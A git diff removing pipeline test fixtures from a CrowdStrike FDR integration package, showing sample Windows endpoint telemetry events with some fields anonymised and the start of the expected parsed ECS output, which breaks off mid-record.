-{"ImageSignatureType":"0","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"0","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
-{"RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","ContextThreadId":"700420809200030","aip":"81.2.69.192","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"89.160.20.128","event_platform":"Win","TokenType":"1","EventOrigin":"17","InterfaceGuid":"12ABC-345-56D7-X","RpcClientProcessId":"000000000000","id":"aaaaaaaaaa-c6b5-499a-a494-cccccccccc","EffectiveTransmissionClass":"3","timestamp":"1757935009450","LocalAddressIP4":"89.160.20.128","event_simpleName":"ServiceStarted","ContextTimeStamp":"1757935008.880","UserName":"redacted-computer-name","ConfigStateHash":"00000000","InterfaceVersion":"1111111","RpcClientThreadId":"2222222222222","AuthenticationId":"333","ServiceDisplayName":"<redacted>","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\<redacted>.exe","TargetProcessId":"444444444444","ImageFileName":"\\Device\\Volume\\Windows\\System32\\<redacted>.exe","RpcOpNum":"19","Entitlements":"15","name":"ServiceStartedV2","ComputerName":"redacted-user-name","aid":"11111aaaaaaaaaaaaacccccccccddddd","RpcNestingLevel":"0","cid":"22222bbbbbbbbbbbbbdddddddddd1233"}
-{"AuthenticodeHashDataSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ContextThreadId":"1111111111111","CertificateIssuer":"Microsoft Windows Production PCA 2011","aip":"89.160.20.128","CertificateSignatureHash":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","CertificatePublisher":"Microsoft Windows","CompanyName":"Microsoft Corporation","event_platform":"Win","AuthenticodeHashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","OriginalFilename":"wdnisdrv.sys","FileVersion":"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)","ImageCheckSum":"123456","EventOrigin":"17","RpcClientProcessId":"000000000000","id":"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb","EffectiveTransmissionClass":"3","timestamp":"1757905962256","LocalAddressIP4":"89.160.20.128","event_simpleName":"DriverLoad","ContextTimeStamp":"1757905958.885","ConfigStateHash":"111111111","ContextProcessId":"000000000000","DriverLoadFlags":"0","ImageEntryPoint":"94208","MD5HashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","RpcClientThreadId":"1908581779603","SHA256HashData":"cccccccccccccccccccccccccccccccccccccccccccccccccccccc","ServiceDisplayName":"WdNisDrv","ConfigBuild":"1007.3.0019907.15","FixedFileVersion":"4.18.25070.5","RegistryPath":"","ImageFileName":"\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","ImageTimeStamp":"2448850720","Entitlements":"15","name":"DriverLoadV6","ComputerName":"redacted-computer-name","CertificateSignatureHashAlgorithm":"32780","aid":"11111aaaaaaaaaaaaacccccccccddddd","cid":"22222bbbbbbbbbbbbbdddddddddd1233","HashAlgorithm":"32780"}
-{"ContextThreadId":"1945182997323","aip":"81.2.69.192","RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED","RegClassificationFlags":"257","RegOperationType":"2","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"","timestamp":"1757920331466","LocalAddressIP4":"81.2.69.192","event_simpleName":"RegCrowdstrikeValueUpdate","ContextTimeStamp":"1757920329.062","ConfigStateHash":"2080600092","ContextProcessId":"100704500092","RegType":"0","RegClassificationIndex":"405","AuthenticationId":"997","ConfigBuild":"1007.3.0019907.15","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"102","Entitlements":"15","name":"RegCrowdstrikeValueUpdateV1","ComputerName":"redacted-computer-name","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-1-5-18","ContextBaseFileName":"svchost.exe","FileCategory":"3","Size":"22929","ContextThreadId":"1111111111111","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1757906530446","LocalAddressIP4":"89.160.20.112","event_simpleName":"PngFileWritten","ContextTimeStamp":"1757906529.857","UserName":"dev-win10-3$","ConfigStateHash":"1234437812","ContextProcessId":"111122223333","IrpFlags":"0","AuthenticationId":"999","FileWrittenFlags":"0","ConfigBuild":"1002.2.0019609.21","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"15","name":"PngFileWrittenV3","ComputerName":"dev-win10-3","OperationFlags":"0","Attacks":[{"Tactic":"Command and Control","Technique":"Data Obfuscation"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Images\\qwert.png"}
-{"event_simpleName":"MotwWritten","ConfigStateHash":"0222222222","ContextProcessId":"1111111111","aip":"89.160.20.128","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","HostUrl":"","Entitlements":"15","name":"MotwWrittenV2","EventOrigin":"1","ReferrerUrl":"","id":"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","timestamp":"1755541882619","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Local\\Default\\Files\\asdf-ghkl"}
-{"event_simpleName":"MountedVolume","BatchDataTotal":"3","VolumeSessionUUID":"BA6553C6-EA71-4F58-ADF2-EB7C71401657","BatchTimestamp":"1758303984.040","BatchDataNumber":"2","VolumeMountPoint":"\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","VolumeDriveLetter":"\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","event_platform":"Win","VolumeDeviceObjectFlags":"134479872","VolumeFileSystemDevice":"\\Ntfs","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","EventOrigin":"1","DiskParentDeviceInstanceId":"PCI\\VEN_15AD\u0026DEV_07F0\u0026SUBSYS_07F015AD\u0026REV_00\\4\u00263b50545d\u00260\u002600B8","VolumeDeviceCharacteristics":"131072","id":"4a10cafe-7a95-4659-80c0-9b670b2308c1","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1758303980922","VolumeName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","ConfigStateHash":"3667246164","MountedVolumeAction":"0","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeLabel":"","ConfigBuild":"1007.3.0019907.15","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"15","name":"MountedVolumeV1","VirtualDriveFileName":"","ComputerName":"ETW","aid":"bae5bafaeb93295d398bf55b8ba1cf01"}
-{"event_simpleName":"FalconProcessHandleOpDetectInfo","GrandparentProcessId":"107378835181","GrandparentProcessPatternIdList":"","ParentProcessId":"107382228681","TemplateInstanceId":"20587","ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe","HandleOperationType":"1","event_platform":"Win","PatternId":"10517","EventOrigin":"1","id":"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf","ParentCommandLine":"wininit.exe","EffectiveTransmissionClass":"3","timestamp":"1757916888316","ConfigStateHash":"3164437859","TemplateDisposition":"10","ContextProcessId":"107384762651","TargetProcessImageFileName":"\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\services.exe","ParentProcessPatternIdList":"7201,7410,7426","TargetProcessId":"107445999828","DesiredAccess":"2097151","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe","Entitlements":"15","name":"FalconProcessHandleOpDetectInfoV1","ComputerName":"win10-qwe-3","ContextProcessTagsAsString":"179,417,113292","aid":"cdbfd7c3bab5478d935db9969b5886cc","PatternIdList":"7053,7090,7119","TargetProcessCommandLine":"\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\""}
-{"event_simpleName":"ServiceStopped","SourceProcessId":"111822186970","EtwRawRpcClientProcessId":"5940","event_platform":"Win","EventOrigin":"1","id":"e9e1ae71-7b21-4260-9891-f1dd497a7ea9","EffectiveTransmissionClass":"3","timestamp":"1761814422802","IsHosted":"0","ContextTimeStamp":"1761814419.055","ConfigStateHash":"1611923365","EtwRawProcessId":"5940","ServiceDisplayName":"wuauserv","ConfigBuild":"1007.3.0020008.15","CommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv","TargetProcessId":"111822186970","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe","Entitlements":"15","name":"ServiceStoppedV2","ClientProcessStartKey":"7599824371187858","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc"}
-{"event_simpleName":"KernelServiceStarted","ContextTimeStamp":"1761811657.917","ConfigStateHash":"1146505100","ContextProcessId":"111669260464","ContextThreadId":"1984294987428","RpcClientThreadId":"1985175578964","ServiceDisplayName":"@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","ImageFileName":"\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","Entitlements":"15","name":"KernelServiceStartedV3","ImageBaseName":"WdNisDrv.sys","EventOrigin":"17","ComputerName":"raquel-win10-3","RpcClientProcessId":"111754267474","id":"664425be-9ed3-4b41-8790-5bd12a9889e8","EffectiveTransmissionClass":"3","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1761811660596"}
-{"event_simpleName":"InstalledBrowserExtension","BrowserName":"4","BrowserFilePath":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","BatchDataTotal":"2","BrowserProfileName":"Profile 1","BatchTimestamp":"1757820209.223","BrowserExtensionVersion":"1.2.1","BrowserExtensionInstalledTimestamp":"1748442656.300","BatchDataNumber":"1","UserSid":"S-1-5-21-2765107603-xxxx-500","event_platform":"Win","UpdateFlag":"1","BrowserProfileId":"Default","EventOrigin":"17","id":"0eaf2b81-3888-446f-99ba-e38ff8249b25","EffectiveTransmissionClass":"2","timestamp":"1757820209811","BrowserExtensionArchitecture":"3","UserName":"win10_user3","ConfigStateHash":"3164437859","BrowserExtensionPath":"C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0","BrowserExtensionId":"jmjflgjpcpepeafmmgdpfkogkghcpiha","ConfigBuild":"1007.3.0019907.15","BrowserExtensionName":"Edge relevant text changes","BrowserExtensionStatusEnabled":"1","BrowserFileHash":"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b","Entitlements":"15","name":"InstalledBrowserExtensionV2","ComputerName":"win10-qwe-3","BrowserExtensionInstallMethod":"1","aid":"cdbfd7c3bab5478d935db9969b5886cc","BrowserVersion":"138.0.3351.83"}
-{"event_simpleName":"SensorAntiTamperState","ConfigStateHash":"1442922594","ConfigBuild":"1007.3.0019907.15","AntiTamperStateFlag":"9","event_platform":"Win","Entitlements":"15","name":"SensorAntiTamperStateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"8bee55a5-f768-48b9-ab4c-614a1283a58a","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836"}
-{"event_simpleName":"SensorSettingsUpdate","RTRState":"1","ConfigStateHash":"1442922594","Flags":"0","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"SensorSettingsUpdateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"c188e104-d940-46af-aed8-acf5086fc187","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836"}
-{"event_simpleName":"ServicesStatusInfo","ConfigStateHash":"1694325680","ServiceDisplayName":"spooler","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"ServicesStatusInfoV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"37ddccdf-594d-4224-97de-e784822466f4","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757819610498","ServiceCurrentState":"4"}
-{"event_simpleName":"FileWrittenWithEntropyHigh","Size":"12216","ShannonEntropy":"932","BoundingLimitCount":"5","event_platform":"Win","EventOrigin":"1","id":"fc10d190-e98f-45fc-bb2a-ca60d3534a2a","EffectiveTransmissionClass":"3","timestamp":"1761811953235","ContextTimeStamp":"1761811952.620","ConfigStateHash":"1146505100","ContextProcessId":"111845303038","AuthenticationId":"999","ConfigBuild":"1007.3.0019907.15","FileEcpBitmask":"0","BoundingLimitDuration":"3600000","Entitlements":"15","name":"FileWrittenWithEntropyHighV2","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion","Technique":"Obfuscated Files or Information"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp"}
-{"event_simpleName":"ReflectiveDotnetModuleLoad","AssemblyName":"vezhsq1h, Version\u003d0.0.0.0, Culture\u003dneutral, PublicKeyToken\u003dnull","ModuleNativePath":"","NativePdbBuildPath":"","event_platform":"Win","DotnetModuleFlags":"8","DotnetModuleId":"140707789195504","EventOrigin":"1","id":"b089f099-ffac-44fd-9efe-e1bc148214ee","EffectiveTransmissionClass":"3","timestamp":"1755638644187","ManagedPdbBuildPath":"","ContextTimeStamp":"1755638637.713","ConfigStateHash":"3064617115","ContextProcessId":"11708829302","AssemblyFlags":"0","EtwProviderType":"2","ConfigBuild":"1007.3.0019907.15","CommandLine":"\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Entitlements":"15","name":"ReflectiveDotnetModuleLoadV2","AssemblyId":"1825020243168","aid":"cdbfd7c3bab5478d935db9969b5886cc","ModuleILPath":"vezhsq1h"}
-{"event_simpleName":"SuspiciousPrivilegedProcessHandle","IntegrityLevel":"16384","ContextThreadId":"1217210494023","TargetIntegrityLevel":"16384","event_platform":"Win","SuspiciousHandleOpenReason":"2","EventOrigin":"1","id":"87902694-15af-4692-b1e2-bf7fba80b272","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1757597618983","ContextTimeStamp":"1757597618.424","ConfigStateHash":"3591479077","ContextProcessId":"90332841484","AuthenticationId":"996","ConfigBuild":"1007.3.0019907.15","TargetProcessId":"90365065195","DesiredAccess":"2097151","Entitlements":"15","name":"SuspiciousPrivilegedProcessHandleV2","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc","TargetAuthenticationId":"996"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json
deleted file mode 100644
index 7ac6cb124a..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json
+++ /dev/null
@@ -1,11696 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AsepClass": "7",
-                "AsepFlags": "3",
-                "AsepIndex": "5",
-                "AsepValueType": "0",
-                "AuthenticationId": "830",
-                "ConfigStateHash": "4001039063",
-                "ContextProcessId": "3007920321347",
-                "ContextTimeStamp": "2025-08-14T07:19:14.441Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c",
-                "RegOperationType": "5",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "6b69e784610ff3e5da99cb6f884fbb59c197",
-                "name": "d86b419894d5423"
-            },
-            "device": {
-                "id": "061f50de227f377d5a1cbbcda2493711"
-            },
-            "event": {
-                "action": "modification",
-                "category": [
-                    "registry"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "6b69e784610ff3e5da99cb6f884fbb59c197|061f50de227f377d5a1cbbcda2493711|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"AsepKeyUpdate\",\"ContextTimeStamp\":\"1755155954.441\",\"AsepFlags\":\"3\",\"ConfigStateHash\":\"4001039063\",\"ContextProcessId\":\"3007920321347\",\"AsepClass\":\"7\",\"AsepIndex\":\"5\",\"ContextThreadId\":\"416006001900040\",\"aip\":\"81.2.69.144\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\604dce44\\\\2345e09c\",\"RegOperationType\":\"5\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"AsepValueType\":\"0\",\"TokenType\":\"1\",\"Entitlements\":\"66\",\"name\":\"d86b419894d5423\",\"EventOrigin\":\"1\",\"id\":\"6b69e784610ff3e5da99cb6f884fbb59c197\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"061f50de227f377d5a1cbbcda2493711\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "061f50de227f377d5a1cbbcda2493711",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "AsepKeyUpdate",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "061f50de227f377d5a1cbbcda2493711",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3007920321347",
-                "thread": {
-                    "id": 416006001900040
-                }
-            },
-            "registry": {
-                "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c",
-                "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c"
-            },
-            "related": {
-                "hash": [
-                    "4001039063"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AsepClass": "94",
-                "AsepFlags": "0",
-                "AsepIndex": "600",
-                "AsepValueType": "0",
-                "AuthenticationId": "7054705",
-                "ConfigStateHash": "204061009",
-                "ContextProcessId": "47593002510450",
-                "ContextTimeStamp": "2025-08-27T07:45:38.081Z",
-                "Data1": "31",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "RegObjectName": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b",
-                "RegOperationType": "1",
-                "RegStringValue": "5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe",
-                "RegType": "1",
-                "TargetCommandLineParameters": "8 -c07e1208b8efbe",
-                "TargetSHA256HashData": "36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "1165d56b44df464d4a3dd26905c78ac2c7e5",
-                "name": "8f3c176fdab74b6c9"
-            },
-            "device": {
-                "id": "f929742c2e4bd22b1829b6206b1dc84b"
-            },
-            "event": {
-                "action": "modification",
-                "category": [
-                    "registry"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "1165d56b44df464d4a3dd26905c78ac2c7e5|f929742c2e4bd22b1829b6206b1dc84b|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"AsepFlags\":\"0\",\"ContextThreadId\":\"970373501024004\",\"aip\":\"81.2.69.144\",\"RegObjectName\":\"\\\\85aaee17\\\\92b7\\\\f33b4a1f\\\\02413\\\\4e7075fa\\\\25f3666b\",\"Data1\":\"31\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"TargetCommandLineParameters\":\"8 -c07e1208b8efbe\",\"EventOrigin\":\"1\",\"id\":\"1165d56b44df464d4a3dd26905c78ac2c7e5\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"AsepValueUpdate\",\"ContextTimeStamp\":\"1756280738.081\",\"ConfigStateHash\":\"204061009\",\"RegType\":\"1\",\"ContextProcessId\":\"47593002510450\",\"AsepClass\":\"94\",\"AsepIndex\":\"600\",\"AuthenticationId\":\"7054705\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"\",\"AsepValueType\":\"0\",\"TargetSHA256HashData\":\"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906\",\"Entitlements\":\"96\",\"name\":\"8f3c176fdab74b6c9\",\"aid\":\"f929742c2e4bd22b1829b6206b1dc84b\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\f5be3\\\\e5cdd471\\\\94554fd8.exe\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471",
-                "extension": "exe",
-                "name": "94554fd8.exe",
-                "path": "\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe",
-                "type": "file"
-            },
-            "host": {
-                "id": "f929742c2e4bd22b1829b6206b1dc84b",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "AsepValueUpdate",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "f929742c2e4bd22b1829b6206b1dc84b",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "47593002510450",
-                "thread": {
-                    "id": 970373501024004
-                }
-            },
-            "registry": {
-                "data": {
-                    "strings": [
-                        "5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe"
-                    ],
-                    "type": "REG_SZ"
-                },
-                "key": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b",
